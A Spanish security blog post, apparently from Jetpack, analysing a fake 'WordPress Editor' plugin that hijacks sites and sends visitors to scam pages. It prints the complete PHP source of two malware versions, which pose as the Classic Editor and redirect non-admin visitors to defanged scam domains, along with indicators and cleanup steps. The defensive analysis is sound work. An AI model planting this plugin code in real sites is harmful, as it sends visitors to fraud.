Aquí en Jetpack, hemos observado un aumento en el número de sitios afectados por un plugin falso llamado ingeniosamente WordPress Editor. Y como esto sucede cada vez con más frecuencia, decidimos escribir sobre ello.
Antes de continuar, si tienes este plugin instalado y activado en tu sitio de WordPress, debes seguir inmediatamente estos pasos:
- Elimina el plugin.
- Cambia tu contraseña de administrador actual y asegúrate de usar una contraseña segura.
- Revisa todos los usuarios administradores; si el atacante tuvo acceso a tu sitio, es posible que haya creado usuarios nuevos.
- Cambia las contraseñas de cualquier otra cuenta de administrador válida.
- Activa 2FA para todas las cuentas de administrador.
Ahora que ya hemos resuelto eso, veamos qué hace este código malicioso.
Cómo generan beneficios las contraseñas
En la mayoría de los ataques informáticos, el motivo se puede reducir a una sola cosa: el dinero. Este caso no es diferente. Si no mantienes una buena higiene de contraseñas o tienes la mala suerte de que tu contraseña se filtre, tú, tu sitio y los visitantes de tu sitio están expuestos.
¿Cómo funciona? Los hackers usan tu contraseña para iniciar sesión en tu sitio e instalar un plugin falso. Este plugin redirige el tráfico de tu sitio a sitios web sospechosos. Entre ellos hay sitios fraudulentos que venden productos engañosos, sitios web de citas falsos y agregadores de noticias falsos que cargan montones de anuncios, lo que genera ingresos para sus propietarios.
Ahora que entiendes el motivo, profundicemos en el funcionamiento.
Análisis de malware
El plugin malicioso ejecuta código bastante sencillo, pero eficaz. Circula en al menos tres versiones; vi que dos de ellas afectaban a usuarios de Jetpack.
Durante la investigación, vi que cargaba páginas diferentes para distintas direcciones IP que utilicé, pero podría ser algo aleatorio. Por desgracia, no logré acceder al código fuente del sitio intermediario.

Versión 1.0
Esta es la versión menos popular del malware. La encontré en menos del 5 % de los sitios infectados; creo que el autor está actualizando los sitios comprometidos a una versión posterior, ya que la mayoría no ha cambiado sus credenciales.
El autor del malware copió partes de los metadatos de https://wordpress.org/plugins/classic-editor. Esto se hace para evitar ser detectado por los usuarios habituales. Nadie quiere eliminar el editor de WordPress de su sitio, ¿verdad?
Este malware añade la función my_function a la acción wp_loaded y, por sí solo, esto no es malicioso, ya que los plugins y temas pueden hacerlo, pero es nuestro principal indicador de que el sitio está comprometido. El motivo por el que resulta sospechoso es el uso de my_function en lugar de algo más descriptivo.
Al cargarse, my_function primero comprobará si el visitante es un usuario administrador y si ha llegado desde una página de referencia (principalmente, desde un motor de búsqueda) y lo redirigirá a: hxxp://profit-method-here[.]pro.
<?php
/*
Plugin Name: WordPress Editor
Plugin URI: https://wp.com
Description: Enables the WordPress classic editor and the old-style Edit Post screen with TinyMCE, Meta Boxes, etc. Supports the older plugins that extend this screen.
Version: 1.0.0
Author: WordPress
Author URI: https://wp.com
License: GPL2
License URI: https://www.gnu.org/licenses/gpl-2.0.html
*/
function my_function() {
//header("Location: hxxp://www[.]redirect[.]to[.]url[.]com/");
$is_admin = current_user_can( 'manage_options' );
$ref = $_SERVER['HTTP_REFERER'];
if(!$is_admin && !empty($ref)){
header("Location: hxxp://profit-method-here[.]pro");
exit();
} else{
}
}
add_action( 'wp_loaded', 'my_function' );
?>
Esta URL es solo una puerta de entrada para otros niveles de redirecciones. Según el origen de la dirección IP, la página de referencia, el navegador o el dispositivo, redirigirá al visitante a un sitio web diferente. Los sitios web finales suelen ser agregadores de noticias falsos, estafas de sitios de citas o estafas de criptomonedas.
Comprobamos algunas combinaciones de las solicitudes y obtuvimos un par de URL que podrían resultarte interesantes para añadirlas como indicadores de compromiso (IOC) a tus sistemas o a tus listas de bloqueo.
- hxxp://income-method[.]org
- hxxps://tips4bestdiet[.]world
También es interesante observar que tanto las direcciones IP de las URL originales como las redirigidas están relacionadas con otros dominios sospechosos o se compartían entre sí (gracias, virustotal.com).


Versión 3.0.0
Y ahora, la versión más popular, la versión 3, que incluye la selección aleatoria de una lista de URL y ¡una corrección de errores!
La primera versión tenía un error en el activador que redirigía el sitio. La forma en que comprobaba si existía HTTP_REFERER probablemente provocaba redirecciones si, por ejemplo, el propietario del sitio llegaba a las páginas de inicio de sesión mediante un enlace. Esto podría acortar la vida útil del malware.
Ahora realiza una comprobación nueva: valida que $GLOBALS[‘pagenow’] no sea la página de inicio de sesión ni la de registro, lo que evita las redirecciones cuando un administrador intenta iniciar sesión.
Una segunda función nueva es la lista de URL, que no depende únicamente de una URL codificada de forma fija, como en la versión 1.0, sino de una lista de URL codificadas en cirílico, todas ellas dominios .рф (.ru). Parecen ser simplemente nombres aleatorios, ya que no pude traducirlos a nada inteligible; pero cumplen la misma función que URL en la versión 1.0 e incluso redirigen a los mismos sitios.
VirusTotal también señaló que la dirección IP de esos dominios se encontraba en otras siete muestras de malware.
<?php
/*
Plugin Name: WordPress Editor
Plugin URI: https://wp.com
Description: Enables the WordPress classic editor and the old-style Edit Post screen with TinyMCE, Meta Boxes, etc. Supports the older plugins that extend this screen.
Version: 3.0.0
Author: WordPress
Author URI: https://wp.com
License: GPL2
License URI: https://www.gnu.org/licenses/gpl-2.0.html
*/
// FIX LOGIN PAGE
function is_login_page() {
return in_array($GLOBALS['pagenow'], array('wp-login.php', 'wp-register.php'));
}
function my_function() {
$is_admin = current_user_can( 'manage_options' );
$ref = $_SERVER['HTTP_REFERER'];
// LINKS
$urls = ['hxxp://xn--90a8cf[.]xn--p1ai','hxxp://xn--90a7a4a[.]xn--p1ai','hxxp://xn--d1ad5e[.]xn--p1ai','hxxp://xn--i1avu[.]xn--p1ai','hxxp://xn--h1at3a[.]xn--p1ai','hxxp://xn--k1aty[.]xn--p1ai','hxxp://xn--s1afb[.]xn--p1ai'];
$url = "";
//$url = ;
if(!$is_admin && !empty($ref) && !is_login_page()){
header("Location: ".$urls[array_rand($urls)]);
exit();
} else{
}
}
add_action( 'wp_loaded', 'my_function' );
?>
Conclusión
Todos los sitios web en línea pueden ser objeto de una campaña de malware. No importa si gestionas una pequeña panadería o un blog de Wall Street: si tus credenciales son débiles o se han filtrado en algún lugar, tarde o temprano se utilizarán de forma indebida.
Mantén tu WordPress actualizado, al igual que tus extensiones. Cambia tus contraseñas con frecuencia, no reutilices contraseñas en distintos sitios y usa 2FA siempre que sea posible.
Si quieres ayuda para vigilar tu sitio en busca de problemas como este, echa un vistazo a Jetpack Scan.



